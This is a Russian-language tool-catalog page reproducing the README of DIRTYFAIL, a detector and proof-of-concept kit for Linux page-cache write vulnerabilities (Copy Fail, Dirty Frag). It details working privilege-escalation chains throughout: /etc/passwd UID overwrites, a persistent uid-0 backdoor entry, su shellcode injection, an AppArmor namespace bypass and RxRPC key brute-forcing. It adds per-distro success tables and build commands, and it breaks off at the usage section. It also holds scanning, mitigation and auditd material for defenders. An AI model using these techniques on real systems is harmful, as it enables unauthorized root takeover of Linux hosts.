Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DIRTYFAIL — Детектор + PoC для уязвимостей записи в page-cache Linux: Copy Fail (CVE-2026-31431) и Dirty Frag (CVE-2026-43284/43500). Только для авторизованных исследований безопасности. | Kitploit
Инструменты/GitHubGitHub/karazajac/dirtyfail
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеRed TeamingПобег из КонтейнераЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubkarazajac/dirtyfail
261244 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

DIRTYFAIL

Детектор + PoC для уязвимостей записи в page-cache Linux: Copy Fail (CVE-2026-31431) и Dirty Frag (CVE-2026-43284/43500). Только для авторизованных исследований безопасности.

Репозиторий

DIRTYFAIL

Унифицированный детектор и набор PoC для семейств уязвимостей записи в кэш страниц Linux Copy Fail и Dirty Frag.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL — это небольшая, хорошо документированная утилита на C для исследователей безопасности.
Она определяет, уязвим ли хост под управлением Linux к трём CVE из этого
семейства, и — после явного подтверждения вводом — запускает реальный
proof-of-concept, который помещает пользователя в рутовую оболочку на
уязвимой системе.

| CVE / вариант | Название | Покрытие DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (запись в page-cache через algif_aead `authencesn`) | Обнаружение + полный PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP запись в page-cache | Обнаружение + полный PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP запись в page-cache (`esp6`) | Обнаружение + полный PoC |
| **CVE-2026-43500** | Dirty Frag — RxRPC запись в page-cache | Обнаружение + полный PoC |
| Copy Fail GCM вариант | xfrm-ESP `rfc4106(gcm(aes))` запись в page-cache | Обнаружение + полный PoC |

**Дополнительные режимы:**

- **`--scan --active`** — sentinel-STORE активные пробы. По умолчанию `--scan`
  сообщает о предусловиях для каждого CVE (ядро, модули, состояние LSM), а также
  выполняет активную проверку примитива Copy Fail. Добавление `--active` расширяет
  проверку sentinel-файла STORE на все четыре остальных примитива (ESP v4,
  ESP v6, RxRPC, GCM): каждый запускает триггер ядра против sentinel'а в `/tmp`
  и сообщает VULNERABLE только если байты-маркеры действительно записываются.
  Это единственный способ отличить ядро с бэкпортированным патчем (предусловия
  говорят «уязвимо», но проба показывает «нетронуто») от незапатченного без запуска
  полного эксплоита. `/etc/passwd` никогда не затрагивается. Автоматически калибрует
  смещение STORE для V6 в зависимости от сборки ядра.
- **`--exploit-backdoor`** — постоянный бэкдор с uid-0: запись с совпадением длины,
  заменяющая строку `nologin`/`false`/`sync` в `/etc/passwd` на
  `dirtyfail::0:0:<заполнитель>:/:/bin/bash`. Сохраняется после выхода из оболочки,
  пока страница не будет вытеснена. Состояние сохраняется в `/var/tmp/.dirtyfail.state`
  для `--cleanup-backdoor`. Имя пользователя `dirtyfail` намеренно совпадает с
  названием проекта, чтобы его можно было мгновенно опознать в любом аудите —
  измените `NEW_USER` в `src/backdoor.c`, если вам нужен другой идентификатор
  для авторизованной красной команды.
- **Обход AppArmor** — обходит политику Ubuntu
  `apparmor_restrict_unprivileged_userns=1` с помощью одношагового
  `change_onexec("crun")` повторного выполнения в неограниченный профиль,
  который сохраняет возможности userns. Каждый режим эксплоита обрабатывает это
  внутренне через fork: родитель остаётся в пространстве имён init, дочерний
  процесс выполняет обход, родитель читает глобальный page-cache и запускает `su`
  для получения РЕАЛЬНОГО root в init-ns. Устаревший флаг `--aa-bypass` всё ещё
  существует для отладки механики обхода в изоляции. См. [§8.5 Архитектура](#85-architecture-outerinner-fork-based-bypass).

## Проверено на работоспособность

DIRTYFAIL был **эмпирически проверен от начала до конца** на нескольких
дистрибутивах и версиях ядра. Таблица ниже отражает результаты тестов для каждого
режима `--exploit-*` на свежей установке каждого дистрибутива.

| Дистрибутив | Ядро | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Бэкдор | SU shellcode |
|---|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (не тестировалось) |
| Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (усиленный) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Легенда:** ✅ эксплоит сработал и дал реальный root в init-ns  · 🛡 защищено — эксплоит не может достичь ошибки ядра (ядро пропатчено ИЛИ LSM блокирует непривилегированный путь)  · ⏭ не применимо (отсутствует предусловие)

### Проверка активной пробы (`--scan --active`)

Флаг `--active` добавляет для каждого CVE sentinel-файл STORE при
обнаружении. Мы проверили результаты проб на тех же 4 дистрибутивах
выше (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — таблица ниже показывает
результат пробы для каждого режима, который полностью соответствует
полноценному эксплоиту один к одному:

| Дистрибутив | Проба Copy Fail | Проба ESP v4 | Проба ESP v6 | Проба RxRPC | Проба GCM |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | нетронут 🛡 | нетронут 🛡 | нетронут 🛡 | нетронут 🛡 | нетронут 🛡 |
| Fedora 44   | маркер @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | изменение байта ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | маркер @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | предусловия ⏭ | sentinel изменён ✅ |
| Ubuntu 26.04 | нетронут 🛡 | заблокирован LSM 🛡 | заблокирован LSM 🛡 | заблокирован LSM 🛡 | заблокирован LSM 🛡 |

Смещение записи STORE в пробе V6 (8 на Fedora и Alma) соответствует
эмпирическому `V6_STORE_SHIFT`, который `calibrate_v6_shift()` обнаруживает
во время выполнения — это подтверждает, что авто-калибровка правильно заменяет
ранее жёстко заданную константу в разных сборках ядра.

¹ GCM и Бэкдор требуют, чтобы `algif_aead` был загружаем. Ubuntu 24.04
поставляется с `/etc/modprobe.d/disable-algif_aead.conf`, который заносит его
в чёрный список как меру защиты от Copy Fail. При удалении чёрного списка
(например, на ядре, предшествующем этой мере защиты), оба режима работают
от начала до конца.

² Путь Copy Fail через algif_aead защищён чёрным списком modprobe;
базовый примитив CVE в ядре тот же, независимо от того, доступен ли
`authencesn`. xfrm-ESP, RxRPC и вариант GCM все попадают на то же ядро,
потому что не используют algif_aead.

³ Пакет `kernel-modules-extra` в AlmaLinux 10 не установлен по умолчанию
на минимальной установке, поэтому `rxrpc.ko` отсутствует на диске.
Установка `kernel-modules-extra-$(uname -r)` из EPEL или репозитория
AlmaLinux extras восстанавливает модуль; на стандартной минимальной
установке RxRPC недоступен.

⁴ **Ubuntu 26.04 LTS всесторонне блокирует непривилегированную эксплуатацию.**
Поставляемое ядро `7.0.0-15.15` (выпущено 2026-04-22) **младше патча
основной ветки `f4c50a4034e6` (слит 2026-05-07) примерно на 2 недели** —
следовательно, ошибка ВСЁ ЕЩЁ присутствует в ядре. Защита Ubuntu —
**глубинная оборона через усиление AppArmor**, а не патч ядра:

- `apparmor_restrict_unprivileged_userns=1` включён по умолчанию.
- При `unshare(CLONE_NEWUSER)` принудительное выполнение AppArmor на уровне ядра
  автоматически переводит ЛЮБОЙ профиль (включая помеченные `(unconfined)`
  такие как `crun`, `chrome`, стандартный `unconfined`) в
  подпрофиль `<profile>//&unprivileged_userns (mixed)`, у которого
  есть `audit deny capability`. uid 0 внутри нового userns не получает никаких caps.
- `change_onexec` в другой профиль не помогает — даже профиль `crun` (который имеет явное
  разрешение `userns,` и `flags=(unconfined)`) автоматически переходит при unshare.
  Проверено через `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
  → `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) успешно записывают uid_map,
  но `setresuid(0)` затем выполняется успешно, тогда как `ioctl(SIOCSIFFLAGS)` и
  каждый другой системный вызов, требующий CAP_NET_ADMIN, возвращает EPERM, потому что
  запрет capability является покаталоговым, а не по-uid.

DIRTYFAIL корректно выполняет свой обход и достигает стадии 2, но не может
получить CAP_NET_ADMIN внутри нового userns. Инфраструктура эксплоита
заблокирована на уровне LSM независимо от метода обхода. Мы протестировали
`change_onexec(crun)`, `change_onexec(chrome)`, `aa-exec -p <profile>` и
прямой `unshare(USER|NET) + newuidmap` — все приводят к одному и тому же
подпрофилю `unprivileged_userns`.

**Это хорошая работа по безопасности от Canonical.** Данный класс ошибок
заблокирован для непривилегированных пользователей без необходимости
пересборки ядра. Последующее стабильное обновление, скорее всего, также
внесёт собственно патч ядра, завершив защиту.

⁵ **`--exploit-su` внедрение shellcode** использует тот же примитив
Copy Fail algif_aead на 4 байта (`cf_4byte_write`). На ядрах, где
Copy Fail пропатчен (Debian 13.4) или заблокирован LSM (Ubuntu 26.04 —
но путь algif_aead также пропатчен в 7.0.0-15), этап внедрения выполняется,
но этап проверки завершается ошибкой ("page cache не соответствует
внедрённому shellcode"), и автоматический откат восстанавливает `/usr/bin/su`.
Проверено от начала до конца на AlmaLinux 10.1 (точка входа при смещении
в файле `0x45b0`) и Fedora 44 (смещение `0x1b60`); парсер ELF обрабатывает
каждый дистрибутив с его PIE-базой независимо. Доказательство реального root
на Fedora 44: `uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Воспроизводимость тестов:

- Мы переустановили каждый дистрибутив с чистого ISO, настроили аутентификацию по SSH-ключу + sudo без пароля, клонировали и собрали DIRTYFAIL на каждом, сделали снимок `clean-build` в Parallels, затем запустили все 5 режимов эксплоита с флагом `--no-shell` (авто-откат через fadvise + drop_caches).
- Эмпирические строки результатов получены путём разбора фактического вывода `--exploit-*`, поиска сигналов успеха: `page cache now reports <user> with uid 0`, `root password field is now empty`, `is now uid 0` (бэкдор) или любых шаблонов неудачи (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`).
- Для проверки «реального root» через RxRPC и Бэкдор мы выполняли `echo "" | su - root` / `echo "" | su - dirtyfail` и подтверждали `uid=0(root)` плюс успешное чтение `/etc/shadow`.

> **Только для авторизованного тестирования.** Используйте DIRTYFAIL только на системах, которыми вы владеете или для оценки которых у вас есть явный контракт. Режимы эксплоита повреждают `/etc/passwd` *в page-cache ядра* (файл на диске никогда не затрагивается). Очистка: `dirtyfail --cleanup` или
> `echo 3 > /proc/sys/vm/drop_caches`.

---

## Содержание

1. [Класс ошибок](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Обзор архитектуры](#45-architecture-overview)
5. [Сборка](#5-build)
6. [Использование](#6-usage)
7. [Как DIRTYFAIL обнаруживает каждый CVE](#7-how-dirtyfail-detects-each-cve)
8. [Как DIRTYFAIL эксплуатирует каждый CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Архитектура: внешний/внутренний обход на основе fork](#85-architecture-outerinner-fork-based-bypass)
9. [Меры защиты](#9-mitigations)
10. [Этика и раскрытие](#10-ethics--disclosure)
11. [Благодарности](#11-credits)

**Сопутствующие документы:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/DEFENDERS.md) — руководство для системного администратора: уязвим ли я, как защититься, за чем следить.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/RESEARCH.md) — аудит исходного кода ядра смежных путей (AH, IPCOMP, MACsec, kTLS и т.д.) на предмет того же класса ошибок.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-check.sh) — автономный детектор на bash для системных администраторов (не требует компиляции).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/main/tools/99-dirtyfail.rules) — готовые к загрузке правила auditd для цепочки эксплоита.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-container-escape.sh) — демонстрация радиуса поражения между пространствами имён.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/main/tools/exploit_su_aarch64.S) — исходный код shellcode для aarch64 (ARM64) для `--exploit-su`. Аппаратно не протестирован; поставляется скрытым за флагом `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Перегенерируйте соответствующие байты в `src/exploit_su.c` с помощью `aarch64-linux-gnu-as` для проверки.

---

## 1. Класс ошибок

**Уязвимости записи в page-cache** позволяют непривилегированному
пользователю изменить хранящуюся в ядре копию файла, к которой у него есть
только доступ на чтение. Файл на диске никогда не записывается; изменение
сохраняется в оперативной памяти до тех пор, пока страница не будет вытеснена
(`drop_caches`, нехватка памяти или перезагрузка).

Этот класс начался с **Dirty Pipe** (CVE-2022-0847), который злоупотреблял
флагами `pipe_buffer`. Copy Fail и Dirty Frag — потомки, которые вместо этого
нацелены на член `frag` структуры `struct sk_buff`. Механизм всегда один и
тот же:

1. Пользовательское пространство с помощью `splice()` передаёт страницу
   page-cache из читаемого файла (например, `/etc/passwd`, `/usr/bin/su`) во
   фрагмент буфера ядра.
2. Путь приёма выполняет криптооперацию **на месте** над этим буфером — одни
   и те же страницы являются одновременно источником и получателем операции.
3. Крипто-функция выполняет «случайную» запись STORE за пределами области данных
   (перестановка порядкового номера, расшифровка одного блока и т.п.), которая
   попадает внутрь страницы, закреплённой пользователем.
4. Копия файла в page-cache теперь постоянно изменена для всех читателей на
   хосте, пока страница не будет вытеснена.

Поскольку ошибка является **детерминированным логическим дефектом**, а не
гонкой, уровень успеха практически 100%, и ядро не паникует при неудаче.

---

## 2. CVE-2026-31431 — Copy Fail

* Раскрытие: **2026-04-29**
* Сайт: <https://copy.fail/>
* Оригинальный PoC (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* Оригинальный PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Внесён коммитом:  `72548b093ee3` (2017)
* Исправлен коммитом:       `a664bf3d` (основная ветка 6.12 / 6.17 / 6.18 стабильные)
* Подтверждённые уязвимые:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Корневая причина

Модуль ядра `algif_aead` предоставляет крипто-API AEAD пользовательскому
пространству через `AF_ALG`. Шаблон `authencesn(hmac(sha256), cbc(aes))`
реализует RFC-4303 ESN (Расширенные порядковые номера); часть его пути
расшифровки выполняет **запись scratch-данных на 4 байта** для перестановки
порядкового номера:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

STORE в ★ безвреден для обычного IPsec-пакета — он попадает внутрь области тега skb, которая принадлежит ядру. Крипто-шаблон предполагает, что src и dst указывают на память ядра.

algif_aead нарушает это предположение. Он принимает splice() из пространства пользователя, который помещает страницы кэша страниц в список рассеивания запроса. Поскольку AEAD работает на месте (req->dst = req->src), страница кэша страниц теперь находится на том смещении списка рассеивания назначения, на которое нацелена черновая запись.

Записываемые 4 байта — это байты 4..7 AAD, отправленного пользовательским пространством — поле "seqno_lo" заголовка ESP, которое атакующий заполняет чем угодно.

Сетевой примитив: 4-байтовая запись по произвольному смещению в кэш страниц любого файла, который атакующий может открыть с помощью open(O_RDONLY).

Эксплуатация

Простейшая эксплуатация — через /etc/passwd. Обычная строка пользователя выглядит так:``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
Изменение `1000` (поле UID, ровно 4 байта ASCII для любого UID
от 1000 до 9999) на `0000` заставляет `getpwnam()` в glibc сообщать uid=0 для
этого пользователя. Однако PAM по-прежнему аутентифицируется по дисковому
`/etc/shadow` (который не изменён), поэтому `su <user>` запрашивает
настоящий пароль, проверяет его, затем выполняет `setuid(0)` — и оказывается в root,
потому что копия `/etc/passwd` в page-cache говорит, что мы root.

Целостность `/etc/shadow` сохранена. Дисковый `/etc/passwd` сохранён.
Испорчена только копия `/etc/passwd` в оперативной памяти ядра,
и только до `drop_caches` или перезагрузки.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Раскрытие: **2026-04-30 → 2026-05-08**
* Оригинальный PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Исследователь: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Внесено коммитом: `cac2661c53f3` (2017-01-17)
* Исправлено коммитом:      `f4c50a4034e6` (mainline net.git, слит 2026-05-07)
* Подтверждённые поражённые:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Первопричина

`esp_input()` должен вызывать `skb_cow_data()` перед дешифрованием AEAD на месте,
когда skb нелинейный (т.е. содержит фрагменты). В коде есть
короткое замыкание:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Если skb имеет фрагменты, но не имеет frag_list, esp_input обходит skb_cow_data и передает предоставленный пользователем фрагмент напрямую шаблону AEAD. Та же самая запись в scratch-буфер authencesn(...), которая реализует Copy Fail, затем оказывается в файловом смещении (assoclen + cryptlen) склеенной страницы.

4 байта, записанные STORE, — это seq_hi из состояния replay_esn SA — контролируемое атакующим при регистрации SA через атрибут netlink XFRMA_REPLAY_ESN_VAL.

Стоимость: для регистрации XFRM SA требуется CAP_NET_ADMIN, поэтому атакующий сначала входит в новое пространство имен пользователя через unshare(CLONE_NEWUSER). По умолчанию это разрешено в большинстве дистрибутивов (заметным исключением является усиленный профиль Ubuntu).

Важно: этот примитив работает даже при включенной защите Copy Fail в algif_aead — путь xfrm не проходит через algif_aead. Защитник, который просто заблокировал algif_aead, все еще уязвим для Dirty Frag.

Эксплуатация

Опубликованный PoC от V4bel записывает статичный 192-байтный ELF-файл "root-shell" поверх первых 192 байт кэша страниц /usr/bin/su, используя 48 последовательных 4-байтовых STORE. После модификации execve("/usr/bin/su") запускает новую точку входа ELF с сохраненным setuid-root битом, полностью обходит PAM и выполняет execve("/bin/sh") изнутри шелл-кода.

DIRTYFAIL использует более простой подход с изменением UID в /etc/passwd (один 4-байтовый STORE — та же цель, что и Copy Fail) по двум причинам:

  1. Это демонстрация примитива с одной записью, которую проще изучать.
  2. Она полностью обратима с помощью POSIX_FADV_DONTNEED и не оставляет /usr/bin/su в поврежденном состоянии для других пользователей в системе.

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • Уведомление: 2026-04-29 → 2026-05-08
  • Исправление: отсутствует во всех деревьях по состоянию на 2026-05-08; патч исследователя ожидается: lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • Исследователь: Хюнву Ким (@v4bel)
  • Внесен коммитом: 2dc334f1a63a (2023-06)

Корневая причина

rxkad_verify_packet_1() выполняет in-place pcbc(fcrypt) дешифрование одного блока на первых 8 байтах пакета данных RxRPC:```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
Если страница кэша страниц была вставлена в skb's frag, поверх нее выполняется 8-байтовое дешифрование.

**Отличие от xfrm-ESP**: 8 байтов, которые СОХРАНЯЮТСЯ (STOREd) — это `fcrypt_decrypt(C, K)`, где `C` — это существующий шифротекст по данному смещению файла, а `K` — это сеансовый ключ из токена RxRPC v1, который атакующий зарегистрировал через `add_key("rxrpc", ...)`. Атакующий не контролирует значение STORE напрямую — ему придется перебирать `K`, пока `fcrypt_decrypt(C, K)` не даст желаемый открытый текст.

`fcrypt` — это шифр Andrew File System с **56-битным ключом** и 8-байтовым блоком. Он детерминирован; он чисто портируется в пользовательское пространство; и его ключевое пространство достаточно мало, чтобы ограниченная 8-байтовая цель могла быть перебрана за миллисекунды до секунд в зависимости от бюджета ограничений.

**Критически важно: этот путь НЕ требует привилегий пространства имен** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` доступны любому непривилегированному пользователю. RxRPC заполняет пробел в профиле hardened-userns в Ubuntu (где xfrm-ESP заблокирован), потому что `rxrpc.ko` поставляется в стандартной сборке Ubuntu.

### Эксплуатация

Полный эксплойт:

1. Перебрать `K_A`, `K_B`, `K_C` в пользовательском пространстве так, чтобы три STORE по смещениям 4, 6, 8 в `/etc/passwd` давали `"::"`, `"0:"`, `"0:GGGGGG:"` соответственно (последняя запись выигрывает).
2. Для каждого `K_i` зарегистрировать токен RxRPC v1 через `add_key`, выполнить поддельное рукопожатие AF_RXRPC с фиктивным UDP-сервером в том же процессе и вызвать `rxkad_verify_packet_1` через splice.
3. Копия строки 1 `/etc/passwd` в кэше страниц теперь `root::0:0:GGGGGG:/root:/bin/bash` — пустое поле пароля.
4. PAM с `pam_unix.so nullok` принимает пустой пароль; `su -` дает root-оболочку.

### Покрытие DIRTYFAIL

DIRTYFAIL поставляет **как** детекцию, так и полный PoC для этой CVE.

Реализация DIRTYFAIL находится в `src/dirtyfrag_rxrpc.c` и `src/fcrypt.c`:

- **шифр fcrypt** (`fcrypt.c`): 56-битный ключ, 8-байтовый блок, 16-раундовая сеть Фейстеля; стандартные S-блоки протокола rxkad. Включает однопоточный инструмент перебора (~18 Mops/s), который ищет ключевое пространство, пока кандидат открытого текста не удовлетворит заданному вызывающим предикату.
- **контрольная сумма rxkad** (`compute_csum_iv`, `compute_cksum`): формула ядра, воспроизведенная через AF_ALG `pcbc(fcrypt)`, чтобы контрольная сумма провода в нашем поддельном DATA-пакете прошла проверку `rxkad_verify_packet`.
- **сборка токена RxRPC v1** (`build_rxrpc_v1_token`): токен rxkad, закодированный в XDR, зарегистрированный через `add_key("rxrpc", ...)` с нашим перебранным сеансовым ключом.
- **клиент AF_RXRPC + фиктивный UDP-сервер**: клиент инициирует вызов, фиктивный сервер извлекает (epoch, cid, callNumber) из первого пакета и отправляет поддельный CHALLENGE, чтобы клиент инициализировал `conn->rxkad.cipher` нашим ключом.
- **триггер splice** (`do_one_trigger`): vmsplice поддельного заголовка DATA → splice 8 байтов из `/etc/passwd` → splice pipe → udp_srv → recvmsg проводит ядро через `rxkad_verify_packet_1` → 8-байтовый STORE.
- **цепочка из 3 splice с коррекцией цепного шифротекста**: перебор K_A / K_B / K_C с применением сдвига цепного шифротекста между проходами (после того как splice A перезаписывает байты 4..11, шифротекст splice B по смещению 6..13 начинается с `P_A[2..7]`; то же самое для C по сравнению с B).

Финальный PoC преобразует строку 1 `/etc/passwd` в:```
root::0:0:GGGGG:/root:/bin/bash

— пустое поле пароля — и execlp("su", "-") затем запускает оболочку с root-правами, потому что pam_unix.so nullok принимает пустой пароль.

Для сравнения и проверки с оригинальным PoC, смотрите exp.c от V4bel: https://github.com/V4bel/dirtyfrag.


4.5 Обзор архитектуры

DIRTYFAIL — это один бинарный файл на C, собранный из примерно 10 исходных модулей. Общая структура:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**Ключевые архитектурные решения:**

- **Разделение внешнего/внутреннего**: каждая эксплойт-программа порождает дочерний процесс для работы с ядром. Родитель остаётся в пространстве имён init, чтобы итоговый вызов `execlp("su", user)` достиг корня реального пространства имён init. См. [§8.5 Архитектура](#85-architecture-outerinner-fork-based-bypass).
- **Кэш страниц глобален**: дочерний процесс записывает из своего обходного пространства имён пользователя, родитель читает из пространства имён init; одни и те же байты видны.
- **Переменные окружения передают состояние от родителя к дочернему процессу**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` и т.д. (backdoor). `execv` сохраняет окружение при переходе между стадиями.
- **Защитный компаньон**: `--mitigate` развёртывает те же чёрные списки + ужесточение sysctl, которые поставляются дистрибутивами в качестве официальных мер защиты. `--scan` обнаруживает, когда capabilities заблокированы LSM, и сообщает "mitigated" вместо вводящего в заблуждение "VULNERABLE preconditions met".

---

## 5. Сборка

### Предварительные требования

* **Linux** (данный бинарный файл работает только под Linux во время выполнения).
* `gcc` или `clang`, `make`.
* Заголовочные файлы UAPI Linux — в частности `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Дистрибутив            | Установка                                              |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### Команды сборки```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

Сборка по умолчанию создает один бинарный файл размером ~80 КБ по пути ./dirtyfail. Для портативной сборки, которая работает в любой совместимой с ядром Linux без дрейфа зависимостей glibc:```sh make static CC=musl-gcc

root@kitploit:~
(установите `musl-tools` в Debian/Ubuntu или соберите musl из исходников).

---

## 6. Использование

`./dirtyfail --help` является каноническим справочником; режимы разбиты по категориям:

